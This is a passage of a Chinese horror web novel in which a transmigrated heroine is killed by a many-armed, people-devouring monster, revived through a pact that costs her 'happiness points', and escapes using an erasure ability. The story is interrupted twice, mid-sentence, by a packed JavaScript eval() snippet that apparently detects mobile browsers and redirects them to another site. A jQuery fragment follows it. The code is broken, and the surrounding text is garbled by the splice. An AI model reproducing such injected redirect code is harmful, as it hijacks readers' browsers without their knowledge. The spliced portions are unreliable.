林焕也已经被吓傻了，吓得跪在地上，死死抓住温刃裤腿：“丧，丧诡……” 那些手臂在逃跑，从小助理身上一个个掉落，从她身上逃跑，留下一个深深又血红的血窟窿。 它们爬上周正明的身体，钻进他手臂与手臂之间的缝隙里。 每一只手脱离，小助理就干瘪一分，周正明也高一分。 她的脸颊凹下去，眼窝陷下去，手指变得像枯枝。 周正明的头终于抵到了天花板。 他的脖子被压进了身体，那张脸现在几乎贴着天花板，向下俯视着他们所有人。 “你们……为什么想面试执法官……你们对于这一行……对于……这个世界……对于……人类的敌人……又了解多少？” “你们……知道丧诡究竟是什么吗？” “你们知道……多臂吗？” 4. 异能者 温刃第一次感觉距离死亡那么近。 她能闻到周正明身上的味道了。 那是腐烂的肉混合着下水道的腥气，像是有什么东西在他体内烂了很久，久到臭味已经渗进了骨头里。 她的胃开始翻涌，胃壁在主动收缩，想把里面的东西挤出来。 周正明挤进来的时候，整个人已经高得不正常了。 温刃不敢抬头去看他到底有多高，十米？亦或者更高？ 她盯着他脚边那团还在蠕动的手臂，顺着那些手臂，层层往上去看。 她只知道自己的脖子仰到发酸，还没看到他的头在哪里。 那些手臂从他身上各个地方长出来，有些已经腐烂了，长出尸斑了。 怪不得除了小助理，他们就没在这里看到别人，原来都是被周正明吞噬了。 周正明的下巴已经不见了，被不断向上顶的脖子压进了手臂堆里，只能看到他布满血丝不像是人类一般的眼睛。 他的头被那些手臂架着，不得不低下来，才能让他的脸不撞到天花板。 他用那些手臂把自己撑起来，像一只变异的大蜘蛛，用几十条手臂交替着往前爬。 但那不是蜘蛛的移动方式。 蜘蛛的腿是有节奏的。 可周正明的手臂是乱的。 他七八条同时往前撑，三四条还留在后面，两条互相缠绕在一起绊住了彼此，还有一条从他自己身体中间穿过去，掌跟卡在另一条手臂的腋窝里，怎么也拔不出来。 说明他对那些手臂的掌控还不算太熟练。 越靠近头部的那些手臂晃得越厉害，像刚长出来还没学会怎么用。 他不得不分出几条手臂撑住地面，稳住自己的身体。 有的手臂撑不住，关节反向弯折，但它们还在蠕动，还在努力支撑着周正明庞大的躯体。 地上拖出一道一道湿痕。 那些是组织液和腐臭液体的混合，亮晶晶的，有点像蜗牛爬过的痕迹。 说实话，温刃真的快吐出来了。 现实的电影里只能看到画面，但现在不一样，她还能近距离闻到周正明身上的臭味。 周正明嘴角咧到了耳根，他的喉咙里发出沙沙的声音，像老式电视机的雪花屏，又有一种拿指甲抓挠黑板的刺耳声音。 “看来……没有人愿意回答我的问题……” “那……你们成为我的一部分吧……” 他说这句话的时候，好几条手臂同时抬了起来，手指张开，像是在迎接什么。 “这样……你们就跟我一样……就知道所有问题的答案了……” 他的身体开始往前涌，几十条手臂同时发力，把他庞大的身躯往前推。 那些手臂互相缠绕，挤压，踩踏，有的手臂从身上被扯下来，掉在地上还在爬，最后又回到他的躯体里。 那对年轻男女离门最近，他们转身想逃，但身后只有一堵墙，没有退路了。 从小助理把他们引到这里开始，他们就注定了死亡的结局。 周正明越来越近。 温刃能看清那些手臂上的细节，那些手臂在向她伸过来。 一只、两只、十只、二十只。 她数不清了。 空气中全是腐烂的臭味，好臭好臭。 林焕却在这个时候站在她的前面，苦笑着说：“我挡在你前面吧，温刃，如果有机会，你一定要趁着这个时间跑掉。” 可是，周正明太庞大了，他早就把退路堵死了。 温刃只可恨，恨她穿越过来，居然没有任何金手指。 如果，那只触手还在就好了，它既然能吃掉Zero的尸体，或许也能吃面前的周正明。 可那只触手也不在这个时候出现，自从上次消失之后，温刃的左手一点动静也没有了。 她只觉得一切要完蛋了。 就在这时，周正明即将抓住那对小年轻的时候，他身上突然多了一道什么东西。 那东西无比漆黑，似乎还有些光泽。 温刃钻研恐怖片多年，也是一下子认出了那东西究竟是什么。 那是人的头发，是漆黑的头发！ 头发像活的一样，缠住了周正明身上好几条手臂，勒进腐烂的肉里，勒得那些手臂发黑、发紫。 周正明尖叫了一声。 他庞大的身躯被头发拽动，一点一点往后拖，手臂在地上扒出数道血痕，指甲盖都翻起来了，可见那头发带来的力量有多强大。 “快，快出门，先逃出去！”门口响起一个女人的声音，似乎有些急促。 温刃第一个反应过来，她拽着林焕的袖子就往门口冲。 路过门边时，她看到了一个女孩，刚才那道让他们逃出去的声音就是女孩发出来的。 那女孩脸蛋看起来很年轻，估计年纪和她差不多，约莫二十岁上下，只不过一只眼睛戴着个高科技眼罩，另一只眼睛里满是凝重之色。 她的头发像瀑布一样铺在地上，带有磅礴生命力的黑色发丝从她脚下涌出去，缠住周正明的手臂，限制了他的行动。 “快，出去，跟执法队报告，就说这里出现了C级丧诡，二队队员冷霜正在纠缠。” 温刃看了她一眼，点点头：“谢谢。” 看来这个叫冷霜的女孩，是一个异能者。 她的异能，就是能无限制控制自己的头发。 林焕羡慕地看了一眼，感叹道：“她发量好多啊，我最近洗澡掉的头发一把一把的。” 温刃：…… 都这个时候了，林焕这小子怎么还在玩抽象？ 她真想把他半路扔了。 但他刚才护在她身前，也算是真性情了，温刃当然不能这么做。 那对年轻男女跟在他们身后，一起冲到大门口，对着门又砸又踹。 门纹丝不动。 “这门怎么还打不开！”年轻男人急得声音都变了调。 “冷霜不是说了让我们先出去吗？她应该知道怎么开门吧？”年轻女人回头看了一眼，“不过，她还在纠缠那个怪物。” 林焕一边帮着砸门，一边对温刃说：“冷霜是执法队第二小队的队员，我之前听说过她。” “她的异能是控发，头发还能无限生长。” “据说她一个人就解决过好几只E级丧诡，还解决过一只D级，在二队里算是很强的了。” 他回头看了一眼冷霜的方向：“有她在，我们肯定能逃出去去……” 林焕话还没说完，不远处的黑暗里传来一声尖叫。 冷霜像是被拖走了，她声音从高到低，从近到远，像有什么东西在把她往后拽。 “快跑！快跑！” “他不是普通的丧诡，他是异能者演变而来的丧诡，会保留他原本的异能！他的异能是吞噬，他在吞噬我的能力！” “他在……吃掉……我……” 声音越来越低，直至消失。 温刃听到那些话，只觉得头皮发麻，她急忙回头。 那片黑暗还是黑漆漆的，什么都看不见。 但她听到了声音。 “噼啪……噼啪……噼啪……” 似乎有大把大把的头发被硬生生折断了。 然后是咀嚼的声音。 那对小年轻也听到了。 他们停下了砸门的动作，脸上的表情从恐惧变成了呆滞，似乎已经被吓傻了。 年轻女人嘴唇哆嗦着：“冷，冷霜呢？” 没有人回答她，冷霜已经说不出话了。 温刃只感觉到地面在震。 林焕：“地震了？” 不是地震，是某个庞然大物在接近他们。 从黑暗里，有什么东西走了出来。 是周正明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17493131|202335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 它们像是从他体内长出来的，从每一条手臂的缝隙里长出来，发丝深深地嵌进他的肉里，在他的身上挥舞。 那些头发还在长，以肉眼可见的速度自他的身体里源源不断冒了出来。 他被那些头发撑了起来，现在的身形至少有二十米高。 他站在黑暗里，简直是个不可名状。 那些头发在他身上蠕动，有些发丝的末端还挂着什么东西。 是冷霜的眼罩，她已经死了，被周正明吃掉了。 周正明低下头，看向他们。 说出话来，有很多个声音叠在一起。 那其中有男有女，有老有少。 有冷霜的声音，有小助理的声音，有那些不知道什么时候被他吞噬掉的求职者的声音。 那些声音轮流从他的喉咙里涌出来。 “头发……好用……” 这分明是冷霜的声音！ “我……比以前……更完美了……” 现在，又变成了小助理的声音。 “终于……我距离那个……更进一步了……” 这是一个陌生又苍老的男声。 “我知道……我理解了……这个世界的意义……” 现在，又变成了周正明自己的声音。 “好棒啊……” 温刃知道，他们已经无路可退了，这根本出不去，门也打不开，窗户也打不开。 就连唯一一个带来希望的异能者冷霜，也被周正明吃掉了，就是不知道，这么一吃，究竟给周正明带来了什么变化。 但可以肯定的是，他变得更可怕了。 周正明也没犹豫，直接放出了头发丝。 这些头发是爬过来的，像几千条黑色的蛇同时从同一个方向涌出，快的地方在前面开路，慢的地方在后面堆积，形成一层又一层的波浪。 没过多久，黑色发丝就铺满了整个走廊。 温刃想跑，但头发已经缠住了她的脚踝，并且还在源源不断往上爬。 头发丝钻进她的衣服，缠住她的手腕，缠住她的脖子，甚至钻进她的皮肤。 她的视线开始模糊。 发丝钻进了她的耳朵，她能感觉到那根头发丝的末端在她耳道里弯曲，再往最深处的鼓膜里钻。 又一根头发丝钻进了她的鼻孔，钻到了她的喉咙里。 温刃想要把那根头发丝咳出去或者咽下去。 但她咽不下去，那根头发丝的另一端还缠在周正明身上，而且，还有一部分在往她眼睛里面钻，往她的脑子里钻。 林焕想保护她，可同样被缠得死死，他只有眼睛还在动，眼球上翻，看向温刃的方向，眼眶里全是泪水。 没过多久，他就彻底失去了声息。 那对小年轻也是。 温刃感觉自己的身体在往下倒，她感觉不到自己的腿了。 头发从脚底往上，似乎蕴含了周正明本身的特性，正在一点一点地把她吃掉，把她消化掉。 也许是穿越者的缘故，让她更耐造一点，所以死的也比其他人晚一些，更痛苦一些。 温刃知道，她活不下去了。 她不知道自己为什么穿越，明明她在现实过得很好，有爱自己的爸爸妈妈，还有一起玩的好朋友。 只要不穿越，就不会死了。 她宁可一直在现实世界看到Zero，当个神经病也好。 眼前的画面越来越暗。 最后出现在温刃视野里的，是周正明密密麻麻的头发丝。 在脸碰到地面的前一秒，温刃透过头发丝的缝隙看到了自己的手。 那只手已经变成了触手，吸盘里的眼睛全睁开了，红色的瞳孔在黑暗中发着光。 它们看着她。 她也看着它们。 它终于苏醒了。 却在她已经死掉的时候。 5. 重获新生 温刃发现自己来到了一个奇怪的地方，天空虽然是蓝色的，可大地却是黑的，并且一望无际看不到头。 这里没有任何植被，就连石头，沙砾这样的物质都没有，脚下只传来一片软绵绵的触感，像是踩在了已经腐烂的肉上，但并没有什么臭味传来。 而在远处，则伫立着一个巨大洁白物体，也是这里唯一的建筑。 它太高了，高到似乎已经贯穿了天穹，又似乎是从天穹之上坠落而下。 温刃仰着头，直到最后脖子发酸，才终于看清了那庞大的物体究竟是什么。 那是一把剑，通体洁白，像是什么巨大生物的骨骼被打磨成了这个形状，但在上面却写满了许多用鲜血绘制而成的，看不懂的古怪符文。 那些符文像是血一样从伤口里往外渗，黏稠又恶心。 这把剑一半贯穿了土地，就这么伫立着，像是在镇压某种东西。 温刃盯着那些符文看了几秒，就发现它们根本不老实。 有些符文的边缘在微微蠕动，像是蠕虫组成的文字一样，还在淌着血。 她不确定是不是自己看错了，在她移开视线又移回来之后，和之前的位置不一样了。 它们动过。 “这玩意有问题。” 她赶紧移开视线，这才舒服一点。 就在这时，温刃感觉到脑海里传来一道声音，对方说着某种晦涩难懂的话，可她却能理解。 【献祭幸福】 【你将获得重来的机会，回到死亡之前的时间节点】 “谁？谁在说话？”温刃起初被那声音吓了一跳，可是环顾一圈也没有在这片大地上发现任何身影。 难道是她幻听了吗？ 这里到底是哪？ 是死亡后的世界吗？ 那也太奇怪了，怎么只有她一个人呢？ 温刃分明记得不久前，她刚被周正明杀死，那样的痛苦还真不是一般人能承受的了。 【献祭……幸福……】 【你将获得新生，摆脱死亡】 【我亦会在那之后，为你解决困境】 【否则，你将永远沉寂下去】 那道声音又一次响了起来，温刃这次算是听明白了。 这里有某个存在，想要跟她进行交易，交易内容就是献出幸福，这样就可以摆脱死亡。 这也算是她的金手指了。 “也就是说，只要交易就能复活，不交易的话，我就直接死掉了？”温刃提了一嘴。 这个未知的存在，完全没有给她退路，因为温刃已经没得选了。 “那么我该怎么做？哪怕你能送我回到之前的时间节点，可我依旧是个普通人，我依旧会被周正明杀死，这好像也无法改变什么，这个交易不划算。”温刃说道。 她又不傻，哪怕回到了过去的时间节点，她身上没有能力，去了也是白白送死。 除非，她能交易异能，这样才有让她继续生存的底气，否则她就永远是任人宰割，照样会死亡。 到那个时候，哪怕再遇到这个古怪的存在，没有了能交易的筹码，她就会彻底死亡了。 【你吃了一具尸体，获得了她的能力】 【存在侵蚀】 【可以慢慢侵蚀非生命体，并抹去其存在，或是侵蚀生命体的一部分】 温刃瞪大眼睛，要说她吞噬的，就只有Zero了。 也就是说，Zero的异能是存在侵蚀？ 这也太强大了吧，听着就很厉害。 “可是你得告诉我，我该怎么使用能力？”温刃知道，明明她早就吞噬了Zero，可却一点没有获得异能的感觉。 【心念而动，自有感应】 温刃知道自己没有什么选择了，至于献祭幸福，应该是不会影响到她自身太多：“行，我跟你交易。” 【你将献出10幸福值】 下一秒，温刃感觉到右手手腕急剧发烫，她抬起手来。 30…… 29…… 幸福值在不断下降，直到20才停了下来。 温刃只觉得身上有了一种奇怪感觉，她觉得心情无比低落，各种负面情绪好像在这一瞬间涌了上来。 她只有张开了嘴巴，大口大口喘气，才觉得有点缓和过来。 但这状态来的也快，去的也快，没过多久便消失不见。 就在这时，温刃注意到了一件无比恐怖的事情。 那把贯穿天地的白色长剑上，有几个血红色的符文，正在消失。 她数了一下，消失的符文刚好十个，跟她被取走的幸福值一模一样。 温刃皱了皱眉，也意识到了不对劲。 这个跟她交易的东西，在用她的幸福值，削弱这把剑的封印。 她抬起头，看向那把剑，它还是那么巨大，那么洁白，那么庄严。 她不知道这把剑下面镇压着什么。 她不知道那个东西脱困之后会发生什么。 她只觉得自己在刀剑舔血，现在也只是解决了一时的危机，以后一不小心走错一步，就会彻底陷入泥潭。 下次，她不会再让自己死掉了。 【交易达成】 下一秒，温刃只觉得眼前一黑，彻底失去了意识。 * “这里有点茶水，你们先喝一杯。” 小助理拿起茶壶，给每个人倒了一杯，可是茶水满出来了，她像是没察觉到一样，还在往里面加水。 这次温刃迷迷糊糊中没有制止，那个年轻男子挥了挥手：“好了，你别加了，你这样倒水都溢出来了，我怎么喝？” 小助理急忙停下手中的动作：“抱歉抱歉，是我刚才太害怕了……” 那年轻男子也懒得管他，举起手中的杯子，一饮而尽，喝完水后，他才觉得紧张感散去不少。 温刃睁开眼后看到的就是这一幕。 她重生了，居然真的回到了死亡之前的时间节点。 跟她交易的到底是个什么东西，居然拥有着扭曲时间的能力。 但总体看来，对方被那把剑镇压着，应该是做不出什么事情。 但从此以后绝对要谨慎了，一旦死亡，就会被那个东西钻空子，再提出某种交易，得不偿失。 因为之前已经经历过一遍，温刃当然知道面前的小助理并不是人，而是丧诡。 她没有打草惊蛇，距离周正明过来还需要一会。 她现在要做的，就是解决小助理。 只要周正明没来得及吞噬小助理，那或许以冷霜的能力，或许还能牵制住他。 说做就做，她心念一动，目标是小助理的其中一只胳膊。 因为多臂的手臂不算是他们自身的一部分，相当于可以拆卸的零件，所以并不算是生命体。 而且，周正明本就是因为胳膊而获得力量的，如果侵蚀了小助理的一只胳膊，也能造成不少的影响。 只是这能力似乎来的很缓慢，温刃一直关注着小助理，发现自己能力使用了半天，小助理的指甲才变短了一点点。 这要是想要侵蚀整条胳膊，不知道还得用多久。 “果然啊，那个怪物没有详细跟我说，没想到这能力还是个坑，居然使用速度这么慢。” 温刃突然想到了什么，周正明之前说过，想要使用异能就会消耗幸福值。 如果她消耗了幸福值，那这个侵蚀的速度会不会加快呢？ 温刃心里有了这个想法，也发现那股力量似乎真的作用在了小助理身上，而且力量的速度在逐渐加快。 小助理似乎还没有察觉到不对，她眼睛一直盯在窗外，似乎在等待周正明的到来。 她指尖的皮肤变成细小的灰白色颗粒，从指甲开始，一点一点地往下掉。 而且，消失的速度还在加快。 像是有一只看不见的橡皮擦，从小助理的手指开始，一笔一笔地把她的胳膊从世界上擦掉。 很快，她的袖子空了，软塌塌地垂在身侧。 温刃终于发现自己的能力奏效了，但是她看了一眼自己的手环，上面的幸福值已经变成了19点。 这意味着她消耗了一点幸福值，才消灭了对方的一条手臂。 如果想要杀死有那么多条手臂的周正明，她这么点幸福值完全不够消耗的。 好在，她并不傻，她需要先解决小助理，削弱周正明的力量。 她没记错的话，小助理一共才有六条胳膊，也就是说，还需要消耗5点幸福值。 温刃看向身后，周正明是从正门进来的。 也就是说，她现在只需要把身后这面墙稍微侵蚀出一个小洞，供人逃离，他们就可以短暂远离周正明，去找冷霜汇合。 这是她的计划，因为这样，他们生存概率才会高一些。 那个小年轻 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这个世界果然不能用常理来看待。 年轻男子注意到了什么，他盯着温刃的手环，眼睛越瞪越大：“你的幸福值在降？” 温刃没理他，她还在集中精力侵蚀墙壁。 这才是最重要的，哪怕她现在侵蚀了小助理，周正明也注定要过来，那时候依旧死路一条。 年轻男子看到温刃的幸福值还在降低：“你在用异能？” “闭嘴。”温刃咬着牙说。 她此时能感觉到，幸福值不断降低带来的那种感觉，跟她考公刷题越刷越绝望的感觉一样。 她已经被负面情绪入侵了。 好想去死。 但她偏偏只有同时作用于两个地方，来使用能力。 一边侵蚀墙壁，一边侵蚀小助理的胳膊。 而且使用能力还需要足够近才能使用，限制非常大。 “你有异能你为什么不早说，”年轻男子大吼一声，“你眼睁睁看着我们被关在这里，而不去解决吗？” “我刚觉醒的，”温刃回头瞪了他一眼，“你再多说一句，我现在就停手，大家一起死。” 年轻男子闭嘴了。 但他旁边的女人突然小声说了一句：“喂，你刚才喝了她倒的水……” 年轻男子瞪大双眼，更恨温刃了：“你身为异能者，知道那个助理有问题，为什么还不提醒我？” 林焕听到这话来了气：“你什么意思？她刚觉醒，又怎么能提前预料到这么多事情？你要是再这样就滚出去！” 他虽然抽象，但人还算是靠谱的。 温刃知道，上一次这人喝了水一点问题都没有，他是被周正明杀死的，于是说道：“水没问题。” 要不是周正明越吃越强大，她还真想给那个小年轻一巴掌，简直是无理取闹。 年轻男子还想说些什么，却被身旁的女子拉住了：“人家在救我们，没有她我们就快要死了！她都说水没问题了，那肯定没事了，大不了逃出去你再去医院做检查，现在当务之急是活下去。” 那人这才不说话了。 好在，墙壁上终于出现一个洞。 林焕注意到什么：“温刃，这里突然出现一个狗洞！” 温刃：…… 那是她好不容易用能力侵蚀出来的逃生通道好吧？ 她发现了，能力有作用的局限，如果体积越大，消耗的幸福值越多。 也就是说，这一次她使用了一点幸福值，也只能将这堵墙侵蚀出一个狗洞的大小。 想要让它变得更大，就只能消耗更多幸福值。 温刃觉得完全没有必要，这个洞已经足够他们逃离了：“趁着这个机会，快跑！” 可是这个时候，门外传来了一阵声响。 那是手掌拍在地上的声音，还有掌心的肉和瓷砖黏在一起又被撕开的声音。 “噗……啪嗒……噗……啪嗒……” 那股下水道的臭味先涌了进来。 十几根手指扒住门框，那些手指在门框上抓出恶心难听的声音，又刺耳又恶心。 门框被撑大了，周正明在一点点向里面挤。 “终于……找到……你们了……” 6. 逃脱 那个年轻男子见到周正明走了进来，一脸惊恐，争先恐后地向狗洞里爬。 只是他的身躯似乎过于庞大，主要是腚大，一时间卡在原地动弹不得：“喂，你这个洞开的也太小了吧？我完全被卡住了！” 周正明看到他们居然想要逃离，整个人疯狂地向里面挤来。 他的身体太大了，门框根本容不下他。 那些手臂像潮水一样从门框的缝隙里涌进来，一根接一根，甚至塞满了整个门口。 “别想跑……你们逃不掉的……你们怎么也逃不掉……” 温刃见到周正明想要进来，可她知道，绝对不能被周正明抓到。 她只能拿出一部分的力量，去侵蚀周正明已经伸来的手臂。 周正明歪着头看向自己的手臂，他的脖子转得太过了，低着头，颈椎已经向前弯曲到了一个恐怖的弧度。 如果是普通人那么做，早就死掉了，可周正明却像是个没事人一样，这样才终于看到了自己正在消失的手臂。 “消失……” 他抬起那条正在消散的手臂，放到眼前，仔细地看着那些灰白色的颗粒从指尖脱落，最后归于虚无。 “怪不得我的储备粮消失了……” 下一秒，他意识到了什么，看向温刃的眼神充满了惊喜。 “异能者……” “太好了……” “过来吧……” “成为我的一部分吧……这样你就会明白一切的……” 温刃皱起眉头，听着周正明越来越扭曲且男女不变的声音，只觉得胃里一阵翻涌。 年轻男子也听到了这声音，尖叫一声，拼命想往里面爬。 那年轻女子也没闲着，伸手推着他的大腚向里面推。 林焕见到这一幕，皱起了眉头：“你怎么那么大一坨，你不知道往里面钻吗？” 他实在忍不下去了，对那个女生说：“你让开一下。” 那个女生很听话地让开了。 林焕狠狠将脚踹向那个男生的大腚：“去你的吧。” 那男生果然被这巨大的力道推动，整个人像是火箭一样，从洞里钻了过去。 那个女生一脸惊喜，她身子骨比较小，很快就钻了过去。 林焕拉住温刃：“你先进去吧，我来殿后，我跟队长说过了，队长不在身边的时候得保护你。” 温刃推他一把：“赶紧的，你走了我才能走。” 林焕沉默了一阵，还是说道：“快跟上啊，咱们家里蹲成员绝对不能少。” 说完，他整个人蜷缩在一块，弯着腰很快钻了过去。 温刃见大家都过去了，这才没有使用力量去纠缠周正明。 可周正明却像是无法忍耐一样，整个人身上的手臂疯长，硬生生地舍弃了一部分手臂钻了进来。 他看着温刃就像是看到了一个香馍馍一样：“异能者……快过来……快让我吃掉你啊……” 温刃看到周正明越来越近，她只能蜷缩着身子，用生平最快的速度爬过了那个通道。 她感觉上辈子跑八百米都没有这么快过。 极限简直是被人逼出来的。 周正明的手从狗洞里伸出来，差一点抓到了温刃的脚踝。 温刃不敢回头看，她用尽最后一丝力气往前一扑，整个人摔在地上，大口喘气。 她差点以为自己又一次要死了。 但好在，她福大命大，活过来了。 而且这洞口足够小，周正明一时半会也进不来。 那个年轻女子似乎在责备那个男子：“你非得卡在那干什么？人家差点被抓住了，如果他死了，咱们这里没有异能者，咱们都要完蛋。” “我腚大，我能有什么办法。”那年轻男子撇过头，也不再说些什么。 温刃看着狗洞里密密麻麻伸出来的手，似乎因为周正明身躯实在过于庞大，他无法扭曲自己钻进来。 他似乎弯下了腰来，那些手臂蠕动着，向后退去。 温刃以为他放弃了，要离开了。 可下一秒，周正明那张扭曲的脸居然出现在狗洞里。 他的脸被挤压得变形，五官挤在一起。 “你们逃不掉的……” “你们难道以为高塔还能庇护你们多久吗？” “哈哈哈，高塔会塌的！” “没有人能幸免……” “所有人都要死！！” “放屁！”林焕翻了个白眼，“高塔是世界上最坚固的建筑，是人类科技最伟大的结晶，它屹立了一千三百年，整整一千三百年！你算什么东西，也敢说高塔会塌？” 周正明听到这句话，不由嗤笑一声。 “一千三百年……” “呵呵，那你们知道，一千三百年之前，发生了什么吗？” 林焕皱眉：“果然，丧诡就是会做白日梦，温刃，我感觉他要看看脑子了，可惜我不太懂这方面的知识。” 温刃：…… “过来……过来……”周正明的手指在狗洞边缘抓挠着，“成为我的一部分……到时候你就知道为什么了……你不过来……你会后悔一辈子的……” 温刃懒得再听下去了，抓起林焕的袖子就走。 好在周正明并没有跟上来。 温刃记得冷霜就在这个方向，现在只要找到她，快速找一个地方，侵蚀出足以供他们逃离的通道就行。 要不然，冷霜留在这里，最终的结果也只是被周正明吃掉。 很快，温刃果然看到了一个戴着眼罩的女子，是冷霜。 她头发如水一般在身后飘荡着，发丝像活物一样在她身后轻轻蠕动。 那个年轻男子一看对方是个异能者，直接扑了上去：“执法官大人，救救我吧，里边有一个丧诡，他的手臂太多了，我们根本打不过，只能刚刚逃出来。” 冷霜听到这话，微微皱眉，怪不得她的通讯器没有了信号，她正准备找那个潜藏在这里的丧诡。 “带路。”她言简意赅。 温刃急忙拦住：“你打不过那个家伙，体型已经达到了十米，是C级丧诡，他原身是周正明，本来就有异能，能吞噬其他人来增强自己，如果你过去打不过他，只会被他吞噬，让他变得更强。” 那年轻男子摇了摇头：“你别听她胡扯，她刚才明明知道那个小助理是怪物，却不提醒我们，而且制造出来的逃生通道特别小，我差点逃不出来。” 林焕无语了：“温刃刚才救了你，你现在就出来颠倒黑白是吗？你自己都说了，那你是腚太大，早说刚才就让你最后一个逃出来。” 冷霜她看向温刃，琥珀色的眼睛格外漂亮。 “你是唯一接触过那丧诡的异能者，”她说，“你的建议是什么？” 温刃：“我建议我们先逃出去，我的能力可以制造逃离通道，等到有信号之后，联络更高级别的执法官来处理。” “必须做到一击命中，绝对不能给他成长的机会。” 年轻男子：“你别听她胡扯！冷霜执法官，我知道你，你很强的，你绝对能打过！” 冷霜看都没看他一眼。 “你，”她指了指温刃，“跟我走，我知道一个薄弱的地方。” 她又看了一眼那个年轻男子，目光冷得像刀：“再让我听到你诬赖一个拯救你的异能者，我有权力把你扔在这里喂那个怪物。” 见两个异能者都不向着他，年轻男子立刻闭嘴了。 冷霜转身走在前面，温刃跟上去。 她心里却在想着其他的事情。 冷霜怎么知道她的名字？ 她们认识吗？ 林焕跑过来，悄声说道：“温刃，看来咱俩家里蹲的名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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温刃对那道声音再熟悉不过了。 周正明来了。 他不知道从哪里又找到了来这里的路，整个人庞大的身躯摇晃着。 “找到了，找到了……” “嘻嘻。” “没想到居然有两位异能者……好香啊……你们身上的味道好香啊……”他深深地吸了一口气。 温刃现在感觉，自己看到周正明就觉得胃里一阵翻滚，太恶心了。 冷霜的头发瞬间冲了出去，限制住了周正明的行动。 “温刃，”冷霜只能把希望寄托在温刃身上，“想办法打开墙壁，我来拖住他。” 周正明动了。 他的那些手臂同时发力，抓住冷霜的头发，一根一根地扯断。 冷霜闷哼一声，身体往前踉跄了一步。 她的幸福值在降。 她在用幸福值催生新的头发，去填补那些被扯断的空隙。 但周正明的手臂太多了。 那些手臂像森林里的树枝一样密密麻麻地伸出来，冷霜的头发一片一片地断裂，飘在地上。 她的脸色越来越白。 她知道，自己的幸福值在快速下降，现在已经只剩下六十点了。 温刃知道现在成败在此一举。 她努力消耗更多的幸福值，直到消耗的幸福值来到了7点，直到她所有的幸福值只剩下了3点。 面前的玻璃终于被侵蚀出了一个狗洞般的大小。 但是奇怪的是，原本侵蚀出的孔洞似乎在不断地缩小。 温刃想要维持，就得不断地消耗幸福值。 这到底是怎么回事？ 7. 救援 温刃来不及细想那孔洞的问题了，她回头看了一眼冷霜。 冷霜的头发已经快用完了，她的脸色惨白，额头上全是汗。 周正明的手已经快碰到她的肩膀了，如果他碰到冷霜，就能直接吃掉她，到时候一切都完了。 温刃：“林焕，快出去，联系执法官！” 林焕点了点头，快速钻了出去。 那俩年轻男女也说：“我们也第一时间联系执法官！” 随后那两人也钻了出去。 隔着孔洞，温刃看到林焕举着通讯器面色一喜，就知道外面不在限制范围内，外面已经有了信号。 只是，不知道所谓的支援究竟能在什么时候赶来。 温刃看着手腕上的幸福值。 3…… 2…… 她快维持不住多久了。 “冷霜，快过来！” 她知道不能放弃冷霜。 因为周正明吃了冷霜一定会变得更加强大，到时候如果连其他执法官都无法解决，每个人过来就只能演变成送死。 那她回档的结局就永远无法改变。 她将永远被困死在这里，直到消耗所有的幸福，彻底释放那个巨剑下的怪物。 冷霜咬着牙，她的头发还在生长，但只要长出来一些，周正明的手就会抓住那些头发，并且扯断。 “不行，”她说道，“你先跑，如果我离开的话，周正明会立马冲出来，到时候谁都跑不掉。” 温刃看到，自己的幸福值变成了1。 她感觉到那股熟悉的感觉又涌上来了，她的情绪在变得低落，这种感觉让她想要当场去死。 就在她幸福值即将归零的瞬间。 “噗嗤！” 有什么东西自空中-出现而来。 温刃没看清那是什么，它太快了，只听到一声尖锐的呼啸，然后那金属贯穿了血肉，发出闷响。 一根漆黑的钢筋出现在周正明的胸口，一连贯穿了他的两条手臂。 那玩是是凭空出现的，瞬间出现在周正明体内，从他的胸口穿进去，从后背穿出来。 周正明被这一幕看得愣住了，就连那些撕扯冷霜头发的手也停止了动作。 “这是……什么……” 他话还没说完。 第二根钢筋出现了，它从他的肩膀穿进去，从腰间穿出来。 第三根也随之凭空出现，紧接着是第四根，第五根，甚至第六根。 起初，周正明还能控制部分手臂抓住钢筋，但钢筋像是层出不穷一样，源源不断从周正明体内长出来，直接将他像刺猬一样扎了个对穿。 周正明痛苦发出尖叫。 “啊啊啊啊啊！” 那些钢筋扎在他身上之后，开始强行将那些手臂剥离。 那些手臂挥舞着，想要跑回周正明的身上，但又更多的钢筋出现，把周正明的每一只手都钉在了地上。 那些手臂像被踩住的蜘蛛腿一样，疯狂地抽搐，有的甚至不惜被折断，也要回到周正明身上增强他的力量，但却无济于事。 因为那些手臂无法回到他的身上，并且越来越多手臂被剥离，周正明的身体在变小。 “不！” 周正明在哭喊，他的声音也随之变得尖锐。 “不要！我不要被超度！” 他看向温刃。 那个眼神温刃一辈子都不会忘记，一个C级丧诡，一个吞噬了无数人的怪物，在向她求饶。 “救我！救救我！我不想消失啊！” “那些秘密我都告诉你，只要救了我，你就知道了一切，你可以摆脱死亡！” 温刃没有说话，她只是看着他。 她又不傻，周正明已经杀死她一次了。 她又怎么可能放任这样可怕的存在肆意成长，到最后，恐怕没有人会是他的对手了吧。 最后一根钢筋从周正明的眉心穿出来，可他却没有死掉，他还在蠕动，还在挣扎，时不时发出难以辨认的恐怖声音。 就在此时。 一个身影凭空出现，站在了周正明高大的头顶之上。 那道身影伸出手，从周正明的眉心挖出了一颗暗红色珠子，放在自己手环之上。 珠子接触到手环的瞬间，手环表面的纹路突然亮了，像是活过来了一样。 暗红色的光从手环上蔓延到珠子上，珠子开始颤动。 那个人的幸福值开始下降。 与此同时，那颗珠子在变小，颜色也在渐渐变淡。 周正明终于露出了恐惧之色：“不，不要！我不要被超度！放开我！” 他的嘴巴还张着，但他的眼睛已经不会转了，那些手臂还在动，还在抓，但动作越来越慢，越来越无力。 